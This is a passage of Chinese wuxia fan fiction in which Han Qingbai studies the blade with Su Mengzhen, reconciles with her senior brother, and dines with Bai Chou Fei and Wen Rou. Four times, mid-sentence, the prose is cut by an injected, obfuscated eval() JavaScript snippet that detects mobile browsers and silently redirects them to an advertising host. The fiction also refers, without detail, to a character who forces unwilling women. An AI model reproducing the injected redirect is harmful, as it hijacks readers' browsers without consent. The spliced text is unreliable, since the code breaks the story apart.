“他对我们这种楼里的女人不过逢场作戏,上了床,给了钱,算得两清便没什么大不了的。但对良家女子就不太一样了,有好几个对他表示仰慕之情的,却与他喝了酒后就被弄上床,再之后就翻脸无情,彻底被舍弃了。” “他有病?” “谁知道,风雨楼里若有无欺先生顾不到的地方,或许就是他了。而且先前你还杀了他的手下,多小心点总没错。” “看来他确实不讨喜,也不得人心。” 孙三四哦了一声,问道:“这话怎么说?” “我师兄也跟我说他是个坏人。” 孙三四拨弄了一下草蚱蜢,用漫不经心的口吻说道:“京城里没多少人喜欢他的高傲自负,就算是他的手下也有对他有怨怼的人。” “那替他做事的人还那么多?” 孙三四伸出食指,指尖在寒轻白的额头上点了一下。 “当然是因为他攀上了太师啊,能替权贵做事,这是多少人求也求不来的。名声是虚的,拿到手的金银财宝才是实在的,你看现在哪家势力不给他面子,不让他三分,那才不是看在风雨楼的份上,大都是看在他是蔡太师义子的份上。” “所以我才跟你说小心点,避着他点总没错,谁知道这种人会做出什么事来。” “苏公子就这么放任他吗?我记得风雨楼不是还有一个三楼主王小石?” “苏公子身患重病,之前又断了腿,白愁飞放出风声说苏公子精力不济,所以只得把大权托付给他,至于真相如何,那就仁者见仁智者见智了。王小石虽说是三楼主,不过不太参与风雨楼的内务,对做事没那么积极。而且在他手里,风雨楼确实被发展壮大了,赚的钱都比以前多,旁人也没什么好说的。” “而且苏公子病重这事大家都知道,他活不了多久,日后风雨楼交给谁才能不辜负他的心血,让楼子里兄弟们能有口饭吃,也是老大的难题。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15079511|162353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我猜他们估计还期望着白愁飞能回头是岸。不过这也只是我的猜测,苏公子是一言九鼎的大人物,他心里想着什么,谁也说不好。” “难怪无欺先生看上去心事重重。” “是呀,这京城里哪里有那么多快乐的人,也就你,整天到处乱跑,真叫人羡慕。” 寒轻白在孙三四处待了好一阵,放松了心情,听她唱了支曲,还把买来的小玩意跟孙三四分了分,孙三四捡了她感兴趣的,剩下的还是由寒轻白带走。 寒轻白在三合楼吃了顿饭,鲈鱼羹很是鲜美,碎了的鱼肉绵软,配料味道浓郁,但也没有喧宾夺主,掩盖住鱼的鲜味。素胭脂味道醇厚,颜色被苏木染得艳如胭脂,令人胃口大开。 用了餐,她仍不想回去,便跑到集市附近的屋顶上,看夜空,也看热闹街道上的欢声笑语。 突然,一个糖人出现在寒轻白的视野里,寒轻白顺着看过去,拿着糖人的是罗睡觉,乌亮乌亮的眼睛正望着她。 寒轻白哼了一声,没有去接那糖人,偏过头去故意不看他。 罗睡觉坐下,坐在她旁边。 “抱歉,这是赔礼。”他柔声道。 “我的话叫你不舒服了,对不起,因为我是故意的,我觉得这样说最有效果。” 寒轻白幽幽地说道:“积极认错,死不悔改是吧。” “下次我会注意的。” “真的?” “真的,我不骗你。以后有什么事,我直接找你说。” “那我现在问你,你对我去金风细雨楼找人玩有意见吗?” “没有意见,只是担心,担心京城里的人更擅长玩,而我很无聊,你有了其他玩伴以后就不找我了。” 听了这话后,寒轻白才看向他。 “所以你直接说这个理由就好了,还特意扯什么白愁飞,我去金风细雨楼玩跟他八竿子打不着,而且我也没有必要去接触他。师兄都跟我说了,他这个人背信弃义,不顾恩情,不是什么好人。” 罗睡觉嗯了一声。 “还有,为什么不跟我说,非要在那里指桑骂槐,一想起这事我就气,不过你既然特意来找我,那我现在给你一个狡辩的机会。” 罗睡觉把糖人往寒轻白面前递了递。 “说是狡辩可实在冤枉我了,只是我的一些考虑和想法。这里不比山上,只要温师伯同意,你哪里都可去得。我知道你还没在江湖里历练多久,就跟我们来了京城,对京城中的事情难免不适应,这里面的曲曲绕绕记多了也烦,所以我想着如果有些事情牵扯到了京中的势力帮派、权贵高官,让温扫眉和余默然记得提醒你一下。” “咱们替太师做事,根基也不稳,不少眼睛都在盯着,想要找出破绽把我们拉下马,不可不防。” “之前你没去也是件好事,太师府能人异士不少,都是不好惹的家伙,其中不乏声名狼藉之辈,你若同我们一起去了,肯定不适应。” 寒轻白伸出左手接过糖人,看向罗睡觉的眼,说道:“那你也不可以再用那么随意的态度谈起别人的私事。” 罗睡觉点头,手里的糖人被寒轻白接过后,他笑了笑,把手搭在她的右手上。寒轻白的手很暖和,罗睡觉的手带着点凉意,落在她手上,握住她的手腕,感受到的是接近溪水的温凉。 寒轻白咬了一口糖人,糖人缺了半个头,她问道:“你怎么找过来的。” “就在热闹的地方附近看,一个一个找过来就行,你喜欢这些。” 15.咪咪认人 罗睡觉说完,将头靠在寒轻白的肩膀上。头发蹭到她的脖颈上,有些痒意,有些重量,不过都是她可以接受的范畴。 他这么一靠过来,寒轻白忽得一顿,咬着糖人,露出若有所思的表情。 “等等,我是不是原谅你原谅的太快了,当时我可生气了,非常生气,特别生气。” 她看不见罗睡觉的脸,却能察觉到传来的颤抖和毫不掩饰的低笑声,扣住她手腕的手伸展开来,指腹在手背上滑动,带着点凉意。 “那你说,要怎么样才能原谅我?” “还没想好,先留着吧,就当你提前答应我要做到一件事,等我想好了再告诉你,怎么样,小师兄?” “这有什么不可以的,我答应你。那就这么说好了。” “你们最近都在忙什么啊,小师兄,师兄说他们在看护太师的府邸,不过你出京城去做别的事情了。” “太师有些别的事情交给我,我去办了,现在办完不就回来了。接下来一段时间我应该都不会再出京,大概就是听太师的吩咐,然后可能还有六分半堂那边,看雷纯会不会调动我们做事。” “所以如果雷纯要是半夜叫你们去加班,你们也要去?” “也不能这么说,太师让我们配合雷纯行动,但要是想让我随叫随到,她雷纯还没有那么大的面子。最多就是应允她一两件事,配合一下她的行动,毕竟我们是替太师做事,而非六分半堂。” “太师赏了我一个宅子,叫香梦苑,还没建好,等建好了,待那些个什么奇花异草珍禽异兽入了宅子,要不要去看看?” 寒轻白对宅子不感兴趣,除非那宅子堪比阆苑仙葩太虚幻境,不然也就是一个宅子,再好看能比故宫鸟巢水立方好看吗?不过她倒是好奇一件事。 “你说的奇珍异兽,其中有食铁兽吗?” 别的动物可以不在乎,但要是有大熊猫,寒轻白一定要去近距离接触一次。 罗睡觉对此不甚了解,他没听说过食铁兽,也不知道这是种什么动物,不过蔡府中有对这些如数家珍的人,他可以去问这方面的专家。 “不知道,不过可以有,我明天就找孙总管说。” “孙总管?” “山狗孙收皮,他是太师的心腹,你可以把他类比成风雨楼的杨无邪,我是指苏梦枕掌权的时候。” “这种事他管吗?” “怎么不管,他就是负责这个的,太师的奇珍异宝皆由他造册记载。” 寒轻白哦了一声,她理解了。孙收皮大概就是蔡京的管家,上可参与领导私事,下可负责蔡京给手下的赏赐。这绝对是非信重之人不可担任的岗位。 “要是太麻烦就算了,本来就跟那位孙总管没什么交情,忽得找他办事也不好。” “没关系,交给我吧,等食铁兽来了,我就找你过去玩。” “好。” 温火滚晚上准备歇息的时候,听到了敲门声,他开门,是寒轻白。不出所料,她背上背着睡着的罗睡觉。 “小师兄睡着了,但我也要休息,而且我不知道他住哪里。” “他上午把你气走,晚上就去赔不是了,动作倒是真够快的。”温火滚侧身让寒轻白进来,从柜子里扯了一床被子铺在地上,看着她把罗睡觉放在上面。 “也不早了,小寒,你快回去睡吧。” “好,师兄晚安。”寒轻白挥挥手。 “晚安。”温火滚也挥手。 如果说罗睡觉是杀人的专家,那么在他们看来,寒轻白就是造词的专家,她有时候会突然冒出一些意义不明的词语,比如五险一金和加班之类的。晚安也是其中之一。还在庐山上时,每每晚上要回去休息,寒轻白就会一边挥手一边说师兄晚安,温火滚最开始不解其意,后来他明白了这话和动作的意思,就跟早点安歇差不多,也就习惯了跟寒轻白挥手说晚安。 第二天早上起来的时候罗睡觉已经不见了,温火滚没说他是什么时候走的,寒轻白也没有问。她吃了早饭之后就开始练刀。 刀是一定要练的,就跟温火滚练剑一样,不管最初练武是因为什么缘故,抱着什么样的心情,现如今习武已经成为了他们的一种本能,如果哪一天放下刀剑,对他们而言反而会感到不自在。 在练刀之后,寒轻白开始收拾猫窝,满院子追着咪咪跑,猫跑累了就歇一歇晒晒太阳。 罗睡觉是第一个知道他们这里养了猫的人,后面消息传开,师门里的其他人也知道了。 他们陆陆续续都来看过咪咪。其中最不受咪咪欢迎的是梁伤心,梁伤心一靠近,它就哈气,然后躲开,当时罗睡觉不在场,所以也不知道究竟咪咪是更讨厌梁伤心,还是更讨厌罗睡觉一点。 咪咪最喜欢的是余厌倦,他一来,咪咪就朝他身上扑。 一个一身黑的人身上爬了一只黑猫,要不是猫咪爪子是白色的,第一眼看过去都会以为猫咪跟余厌倦融为一体了。 不过余厌倦倒也不辜负咪咪这么喜欢他,每回来都带了据说猫咪会喜欢的东西,咪咪也很给面子,大都会尝试一下,至于喜不喜欢那是另外的说法。而且余厌倦每次叫咪咪都不会落空,他一叫咪咪,黑猫就喵一声,然后跑到他脚旁蹭。 其次受咪咪喜欢的是何难过,何难过似乎很了解猫这种生物,据他所言,峨眉山上的古刹寺庙里有不少野猫,他偶尔会摸一摸路过的猫,摸着摸着就熟悉了。 他们两个这种受欢迎程度让寒轻白很是羡慕。如果当时何难过跟她说峨眉山有寺院很热闹的时候多提一句那里有很多猫施主,寒轻白下山之后一定会第一个就去峨眉山的。 孙忆旧和吴奋斗也来凑过热闹,咪咪对他们态度一般,但也不至于到讨厌的程度,跟咪咪一开始对寒轻白差不多。 在咪咪逐渐将人认全的时候,寒轻白也在继续她的生活,要么在京城里游玩,或是去瓦子巷找孙三四玩,还有定期去找苏梦枕练刀等等日常。 “苏公子,我有一个问题想问你。” “讲。”苏梦枕收刀入鞘。红袖刀最后一抹潋滟水色被他收入袖中。 “我感觉在山上练刀时是一回事,来到京城之后又是一回事。以前我只需要专心练刀就好,练完刀就可以玩了,虽然现在好像也是一样,可我总感觉又跟以往不太一样,环境变了,人好像也在变。” “总是会变的,只要自己不变就可以。如有觉得阻碍的,一刀斩之。” “可是好像苏公子你的阻碍也没有被你斩掉。六分半堂和白愁飞都活得好好的。” 被她这样说了,苏梦枕也没有发火,不过脸色确实是寒了几分,他沉默了一会,沉声道:“那不一样。” “哪里不一样?” “以前我的敌手是雷损,雷损死了,便结束了。六分半堂很多人只是听令行事,我何必与他们计较那么多。” “至于白愁飞,他是我的兄弟。” “这个我知道,萧大侠说过,一朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15084003|162353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是兄弟,一生是兄弟。” “不错。” “可现在六分半堂已经重新崛起了,白愁飞也已经在杀忠于你的下属了。” 苏梦枕看向寒轻白,他面带病容,阴郁孤傲,整个人带着一种鬼气。可他的背很直,他整个人似乎一点也没有被病痛所折磨、所影响,仍旧是那个传闻中统领着金风细雨楼、被无数人敬仰的苏公子。 每个看向他的人第一眼注意到的绝不是他的病,而是他的气质,还有他的眼神。他眼中那两点寒火。 “无邪跟我说,你与蔡府的七绝神剑关系匪浅。” “是的。” “你并未替蔡京做事。” “是的。” “你问我这个问题,是你自己想问。因为你不理解为什么。” “不错,我不理解为什么白愁飞要背叛你,也不理解为什么他既然已经背叛了你,你却仍旧让他当风雨楼的副楼主。” “我也不理解。不过我可以告诉你的是,我从不怀疑自己的兄弟。我不介意他执掌大权,可他千不该万不该,暗地里派人去杀风雨楼的兄弟,就因为他们忠于我。现在我没有明着对付他,只是因为时机未到。” “我打听了你的事,听说你是应州出生,先前跟六分半堂争京中龙头的位置,是因为你想将京城的势力拧成一股绳,发兵去收复燕云十六州。” 寒轻白忽然说这些旧事,苏梦枕听着,道了声不错。 “可是你现在连风雨楼内部的声音也没有统一,六分半堂也依旧在与你纠缠,你又病得很重,真的会有一天能够收复失地吗?” “所以我希望老二能回头是岸。我曾与他谈过,他也希望出兵打辽、抗金,他不觉得一直给岁币是一个好方法。” “我知道了,因为你病得很重,所以你的精力并不多,大部分都在风雨楼的事情上,而你又说你不怀疑自己的兄弟,所以你对其他人并不很了解。自我因为与你学刀一事进出风雨楼后,有至少三个人要我提防白愁飞,说白愁飞做了不少坏事。” 寒轻白若有所思,她说完这段话后又道:“谢谢你愿意回答我的问题,苏公子。” “不谢。” “你走吧,我能教你的已经都教你了。不必再来了。” “虽然不知道你为什么愿意指点我,但还是谢谢你,苏公子,希望有朝一日朝廷真的能发兵收复燕云十六州。” “借你吉言。”苏梦枕短暂地笑了一下。 寒轻白离开后,很快,杨无邪来到苏梦枕身边。 “公子。寒姑娘走了。” 苏梦枕嗯了一声,“老二在外面名声很不好吗?” 杨无邪一愣,答道:“应该没有。” “楼子里怎么样了,有多少人忠于我们,白愁飞那边又有多少?” “至少一大半仍忠于公子,听令于白愁飞不少,不过有一半并非死忠,若是与公子对上,他们不见得会听从白愁飞。刀南神必定是忠于公子的,只是近日来,白愁飞与郭东神走得很近,似乎有意追求。” “等我死了,你觉得白愁飞能撑住风雨楼吗?” 杨无邪苦笑道:“公子千万别说这样的话。” “他太急功近利了,撑不起来风雨楼的侠义。” 苏梦枕咳了又咳,在杨无邪关切的目光下,他擦去嘴边的血,冷声道:“过几日,把他们都叫来,到红楼,包括小石头也一并叫来。无论他究竟是怎么想的,我都要问个清楚。” 16.温柔如诗 苏梦枕哪怕病得快要死了,下不了床了,他也仍旧是苏梦枕,只要没断了气就还是只要一个名字就能够受人忌惮、羡慕、嫉妒的那个苏公子。 更何况他现在还能走,还能出刀,即使白愁飞蠢蠢欲动,风光无限,金风细雨楼也还是苏梦枕说了算。 温火滚不知内情,只知自红楼一聚后,白愁飞在金风细雨楼的权力被苏梦枕出手打压,不再复往日风光。这人很快找上太师,希望太师府能出人劫杀苏梦枕。太师不置可否,虽然允了,但是跟白愁飞所想象的显然不一样。他的好义父要他配合六分半堂提供情报,由六分半堂主导这次袭击,七绝神剑也参与其中。 这可把白愁飞气了个够呛,在太师府时面色就不怎么好看,只是硬生生忍了下去。温火滚看过乐子后把这当笑话回来讲给寒轻白听。 “那接下来行动就是雷纯居中调度了?” “不错,这事你可别去风雨楼说。虽然太师对白愁飞夺不到风雨楼大权反被打压不满,但他还是太师的义子,现如今又有六分半堂参与,事关不少人利益。我知道苏梦枕教你尽心尽力,如果为难,你就当不知道就行。” 若是为了省事的话,温火滚完全可以不告诉她,但他还是说了,寒轻白也明白他的意思,点了点头,应声道好。 难得见寒轻白乖乖说好的样子,温火滚露出微笑。 他并非有意拘着寒轻白或是怎么样,她之前把庐山和黄岩山几乎翻了个底朝天也没有人阻止过她。只是她出师下山后时日尚短,不比他们其他人已经在江湖上闯荡了好些年,见识过波涛骇浪中的腥风血雨、尔虞我诈,怪诞惊怖。 温辣霞和温火滚从未教过她手下留情,遇到来犯的敌人除了砍去对方的头颅以外没有其他选择,放虎归山留下隐患只会让敌人卷土重来。这点上寒轻白一直很好,没有听说过她因为心生怜悯而纵容敌人的事情。 但如果想在江湖中混下去,光是不手下留情还不够。人心之险恶往往是难以想象的。而温火滚早年还算是个在正常家庭里长大的正常人,对寒轻白的期许自然也是按照正常普通人的期望,只要她平安健康,活泼开朗就行,没有必要因为江湖中的腥风血雨而磨去原本在山野中自然长成的纯真。 如果她喜欢血,享受斗争和杀人,那温火滚也没什么意见,只叫她去做喜欢的事。但是她显然没那么喜欢,只将杀人当做解决问题的手段,她喜欢练刀,不喜欢祭刀,不必要的杀人她从不去做。下了山后也没去当个杀手杀人换钱,反倒是行侠仗义帮人帮得不亦乐乎。若不是同名同姓,特征也对得上,温火滚还以为自己打听到的情报出了差错。 既然她不喜欢,那温火滚就没必要叫她知道。 远的不说,就说近的,他们七绝神剑中,梁伤心杀人颇多,他心一痛,就想杀人,不过好歹使的是快剑,一剑伤心,一招毙命。何难过就不一样了,他喜欢、享受杀人,可以杀人杀得很慢,硬生生去折磨一个人,令其求死不得。 何难过有回还不小心在寒轻白面前漏了两句,让温火滚叫停了,之后何难过一直很注意,没有再说漏嘴过。 其他人在杀人上倒没有什么癖好,不过吴奋斗贪财好享受,孙忆旧在女色上比较放纵。 吴奋斗是他师父的外甥,所以他师父也不叫他改姓。只是吴奋斗好享受,不喜苦练,同门笑他名为奋斗,人却不怎么奋斗,叫这个名字实在名不符实时,他也能笑着反驳说别忘了他姓吴。 他师父看在眼里,也用别人家的孩子寒轻白激励过他,他自看不惯寒轻白。只是吴奋斗心思浅,懒散随意惯了,也没得说要算计寒轻白过,最多抽个发带不疼不痒捉弄一下她。早些时候温火滚还管过,后来寒轻白自己就能把吴奋斗揍一顿,温火滚也便放任自流了。 孙忆旧好色,不仅来者不拒,投怀送抱的,青楼里花了钱就能睡的,还有情非自愿的良家妇女他也要睡。不过温火滚也管不着他,毕竟他面对寒轻白的时候从未口花花过,多是规规矩矩的,甚至有几分避而远之的意味,来的时候多是跟吴奋斗一起结伴而来。 温火滚没问,孙忆旧自己倒是说过一回,他见过寒轻白拔树玩,很是震撼,他还奇怪其他人是怎么继续拿她当小姑娘来看的,反正他不太行。 现在七绝神剑在太师手下做事,太师对政敌的手段他们如今也是见识过了,抄家灭族都是习以为常司空见惯的,几人没少替太师做过好事,反倒是太师对苏梦枕这般宽和才叫人觉得稀奇。 听说是太师欣赏苏梦枕的气魄与才能,如果苏梦枕愿意向太师低头,太师肯定毫不犹豫抛弃白愁飞。捕风捉影听说的事一向没个准头,但能传出来,还没被阻止,也足以说明这说法大概还挺靠谱的。 这些事情温火滚无意说明,只点出了寒轻白与苏梦枕学刀,自是欠了那位苏公子一份情,然而太师吩咐之事七绝神剑也不可能不去做,索性叫寒轻白避开,不去掺和其中。 温火滚话都说到这份上了,寒轻白便乖乖去逛街。她无意将这份郁闷传染给孙三四,便去了薛冰家的铺子里看看,还带了要寄给薛冰的信。掌柜的一听她是谁,便忙道大小姐已经替寒姑娘选好了衣裳,做好一直在铺子里放着,既然寒姑娘有空,不如试一试,看有什么不合适的她也好调整。 寒轻白惊讶于薛冰的体贴,很是感动,正好无事,她便应下,将身上的劲装换成了衣裙。掌柜的这里还有些首饰和脂粉,都叫她挑着搭配给了寒轻白。实在没有理由拒绝掌柜的热情,寒轻白只好当一个规规矩矩的木偶让她上妆打扮。 “大小姐走之前就跟我讲,说别叫寒姑娘在京城受了委屈,穿衣用度都得跟大小姐靠齐才是。寒姑娘若方便,跟我说一下地址,有什么新衣首饰的,我们给姑娘送去。” “不用那么麻烦,我若是想打扮了,便来你这里可好?我日常散漫惯了,在泥坑里打滚也是有的,就不浪费那些好料子了。” “也好,姑娘可要来勤一点……好了,姑娘看看镜子,这样可好看。不过姑娘没有耳洞,戴不了耳环有些可惜,要不要扎一个?” “不用了,我不习惯耳朵上挂东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15088065|162353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西。” 花了时间收拾打扮的,跟没有打理过的自然不一样,寒轻白瞧着也说不出一句不好来。不过就是这身衣裙不方便在腰侧别刀,让寒轻白明白了为什么苏梦枕也好,杨无邪也好,都爱用袖刀短刀,实在是收起来的时候很方便,穿长衫也不会受影响。 掌柜的为她抹了胭脂,眉间点了花样,梳妆打扮过后,映入镜中的是一位眉眼含笑的美人。打扮成这样,寒轻白也不打算再出门了,再跑去别的地方就是冲着弄脏衣裳了。于是她谢过了掌柜的,见天色还早,便想在她这里消磨时间,掌柜的答应了,还为她准备了茶水点心。 一个红衣裳的姑娘走了进来,她有一张很明媚的面容,轻盈如诗,优美如梦,无忧无虑的笑脸像午后的阳光,一走进屋子里就暖洋洋的。她的笑容,她的打扮,她的气质,无一不告诉别人她很美,而且出身极好,是被捧在手心长大的掌上明珠,不然绝不会有这样一身大小姐的气质,令人见了就忍不住大献殷勤。 她似乎已经是熟客了,掌柜的招呼她很熟稔。 “这不是我们温柔温女侠吗?怎么特意来了铺子,你的衣裳还差勾个线,等我们绣娘绣好,便要送去天泉山了。” 温柔。听到这个名字,寒轻白将注意力投向了她。 她听说过温柔。洛阳王温晚的独女,也是金风细雨楼苏梦枕的师妹,不过她去学刀一向跟着杨无邪避着人去找苏梦枕,并没有在金风细雨楼与温柔打过照面。 温柔先是跟掌柜的说不急,只是随便逛一逛,看看有没有新喜欢的,她见寒轻白看她,朝寒轻白露出一个很灿烂的笑容。 温柔率先露出了笑脸,表示了善意,寒轻白便也朝她笑了笑。 温家的千金比寒轻白预料的要自来熟很多。她有一种很明朗的自信,从未想过有人会拒绝她,她也不怕拒绝,事实上当她笑着接近谁的时候,别人也很难拒绝与她说话。 “你也是来买衣裳的吗?我来这里好多回了,都没见过你,我叫温柔,你叫什么?” “寒轻白,我来的比较少。” “寒姑娘是我们大小姐的朋友。”掌柜的笑着适时补充。她担心温柔耍大小姐脾气,便先点明寒轻白的身份。 薛冰是神针夫人的孙女,温柔是大嵩阳手温晚的女儿,她们或许听说过对方的名字,不过并未结缘,江湖上对她们的评价也不完全相似。 薛冰有一副看起来又羞又怜的好相貌,可江湖上人人都知道她不好惹,叫她冷罗刹,说她十分棘手,令人头大;叫温柔则是小寒山燕,侧重于她的轻功,归根到底是因为温柔武功不高,可背景实在棘手,有的见了她如三月桃花般的美貌便心生悸动,手下留情,有的则顾忌她身后的红袖神尼,金风细雨楼苏梦枕以及她父亲温家温晚。 不过事情并没有朝掌柜的担心的那方面去发展,温柔眨了眨眼,她走到寒轻白身边,语气轻快,态度友善。 “你看着比我要小,叫我温姐姐吧!我带你一起玩,我在京城里已经混得很熟了,有什么好玩的我都知道!” 17.淑女比话很少 温柔一见到她就觉得眼前一亮,很是喜欢这个穿着月白色衣裳的姑娘。 她不是雷纯那样大家闺秀,气度不凡,经霜尤艳,遇雪更清,她也不是朱小腰那样美而艳,艳而倦,她很漂亮,似乎要比温柔以前见过的姑娘们都更灵动一点。她的穿着打扮冷而淡,唇也没有涂很艳的颜色,浅浅的,不笑的时候带着点冷,像她的名字一样,可一旦露出笑靥,那就截然不同了,好似山花烂漫,春夏交接时那一抹充盈的生机与活力,叫人整个眼前都亮了起来。 她看起来年纪不大,脸上还残留着几分稚气,听了温柔的话,便笑着唤道:“温姐姐。” 温柔听了很是高兴,她开始回想雷纯和家中嫂嫂姨娘的模样,努力做出一副姐姐的姿态来。雷纯比她年纪要大,温柔在雷纯面前是柔妹妹,是听话的好孩子,只不过自从暗巷一事后,温柔就不怎么去见她的纯姐姐,大多时候跟七大寇、七道旋风那些人一起玩闹。 “轻白来京城多久了,有没有逛过?没逛过京城也不怕,我带你去玩,等过几天我带你认识我的朋友们。他们人都可好了。” 温柔拉着她出门去逛,去大相国寺逛街,也去其他地方走,从街头走到街尾,温柔跟她所说的一样,对京城的大街小巷很是熟悉,这家铺子的首饰如何,那家茶楼的点心味道怎么样,温柔如数家珍。这与寒轻白又是另一种不同方面的熟悉,温柔很少去瓦子巷,她对瓦子巷的姑娘们意味着什么全然不知,只羡慕过何小河笑得好看,笑得漂亮,弄的何小河哭笑不得,都不知道要如何对这被保护的很好的姑娘解释。 “要我说,你一开始就应该把刀留在铺子里,不然现在还要一手拿着刀走,多麻烦呀。” 寒轻白的刀不是袖刀,收不到袖子里,她今天的这身衣裳也不适合把刀鞘别在腰上,故而她拿在手里,跟这一身精心打扮放在一起有些突兀。 “也不算很麻烦,刀怎么能离手。”寒轻白摇摇头,笑道。 “下次可以换一个好看一点的刀鞘,你看我的,枣红色的,跟我的刀和衣裳都很配……咦?那边是不是大白菜啊,他怎么会在这里?” “那是谁呀?” “他的名字是白愁飞,我叫他大白菜,是我认识的朋友……他好像看上去不太高兴,走,我们过去瞧瞧是怎么一回事。” 寒轻白听说了很多遍白愁飞的名字,这是头一回见到真人。 他穿着一身锦衣,面色正如温柔所言不太好看,说不太高兴都算是委婉的口吻了,白愁飞的脸色沉得吓人,他似乎是在想事情,陷入了自己的思绪中,不然以温柔的武功没道理等她们走近了,白愁飞都没做出反应。 “大白菜,你怎么不开心?” 白愁飞见了温柔,扯了扯嘴角,道:“我是不高兴,你没听说吗,你那好师兄把小石头叫回来,一点大事都不给我做,这怎么可能叫人高兴得起来。” “他们怎么这样啊,等我见了他们,一定要跟师兄和小石头好好说说。”温柔想到自己,苏梦枕让楼里子弟照顾她,可不像对她委以重任的样子,有什么事宁可交给唐宝牛张炭也不交给她,不免跟白愁飞同仇敌忾起来。 白愁飞不置可否,他的目光略过温柔旁边的姑娘,顿了顿,问道:“这位是?” “我新认识的朋友,寒轻白!是轻舟已过万重山的轻!”温柔介绍。 “细光穿暗隙,轻白驻寒条,是跟雪一样清雅的好名字。左右我今日无事,既然恰好碰上温女侠带着新认识的朋友,不如一起吃个饭,喝口酒?” 温柔眨眨眼,刚想直接答应下来,但忽得想到还有新认识的朋友,于是她偏头看向寒轻白,一脸期待地问道:“怎么样,一起来吧?” “好。”寒轻白犹豫了一下,答应了。 白愁飞无论在罗睡觉口中,还是在孙三四口中,都是一个需要提防的对象,不过在光天化日之下,他请客还是在三合楼这样的大酒楼请,要了些招牌菜,摆上来后不说味道,看起来都很好看。 跟认真研究上来的菜味道如何的寒轻白不同,温柔的情绪很轻易就被白愁飞带动,他一笑,就叫温柔心砰砰跳,究竟是跳一下还是跳两下,温柔也说不清楚。 “你们前些日子为什么都不理人家?”温柔想一出是一出,开始兴师问罪了。 “我们都忙,你是知道的,苏梦枕,王小石都在,没办法。不过好久没见,你更漂亮了。” “我哪里漂亮?” “你哪里都美。”白愁飞微笑。 温柔的脸变得有些红,脸颊上浅浅的一点比她枣红色的衣裳要更引人注目。 寒轻白专心致志在对付酥炸牡丹花片,白愁飞和温柔聊了几句,她已经将这盘牡丹吃了三分之一。 白愁飞觉得有点遗憾。 如果现在这里只有他和温柔两个人,他一定会伸手去用手背碰上温柔的脸颊,不费任何手段就能把这娇美的姑娘搞到手,得到王小石一直想得到的人。不过可惜他一开始被温柔身旁的姑娘晃了神,觉得她的美貌不输于温柔,于是多邀请了她,只是没想到这姑娘似乎比温柔还要稚气和天真,对于他拿捏温柔情绪、说的一些姑娘们都爱听的话一点反应也没有,感觉好像桌子上的鱼和烧鹅都比他白愁飞的吸引力要大。 既然暂时不能进一步得到温柔,白愁飞见好就收,他询问关心起寒轻白来。 “寒姑娘是哪里人?” “江州。”寒轻白答。 “江州好玩吗?”温柔也连忙转移了话题。 “我觉得还不错,出去玩就是从自己常住的地方到别人常待的地方,如果温姐姐你没去过的话说不定会喜欢。” 几声敲门,一个人送进来了两壶酒,还有些另外搭配的小菜,色香味俱全。布完菜,送完酒,这人又退了出去。 “别光吃菜,也喝些酒。” 白愁飞为这两位姑娘斟酒,放在她们面前。白愁飞也为自己倒了一杯,他不再说话了,因为女孩子在聊天。女人在聊天的时候是男人们不需要插嘴的。 “我觉得这家的卤牛肉味道不错。” “我很少吃肉,大多只吃些水果,轻白妹妹你看,所以我的皮肤才这么白。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15093498|162353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 寒轻白点头,然后继续吃卤牛肉,还有其他的菜,她并不碰那些刚上来的小菜。吃的差不多了,她放下筷子。 “外面那人一直没有走,他是白公子的手下吗?听你吩咐的?” 白愁飞笑了笑,说对。 “楼主,我有事禀报。”外面那人又敲门。 “进。”白愁飞扬声道。 温柔和寒轻白小声说话,时不时还发出轻笑,当真是如画一般的景象,白愁飞也不动弹,就坐在原位,让欧阳意意有事便说。 “我们的人传来消息,说那件事情结束了,现在苏公子失去了踪迹,生死不明,只是他早就发了话,他不在时楼子由王小石掌管。” 王小石,嘿,又是他。这小王八蛋。 白愁飞心里厌烦,不过面上没有表现出来。 “另一件事如何?” “成了。” “那就好。” “我师兄和小石头?他们怎么了?”温柔听到熟悉的名字,问道。 “没什么,一些楼子里的事情。你师兄宁愿叫王小石管,也不叫我来管事。” “那也太过分了。”温柔说。 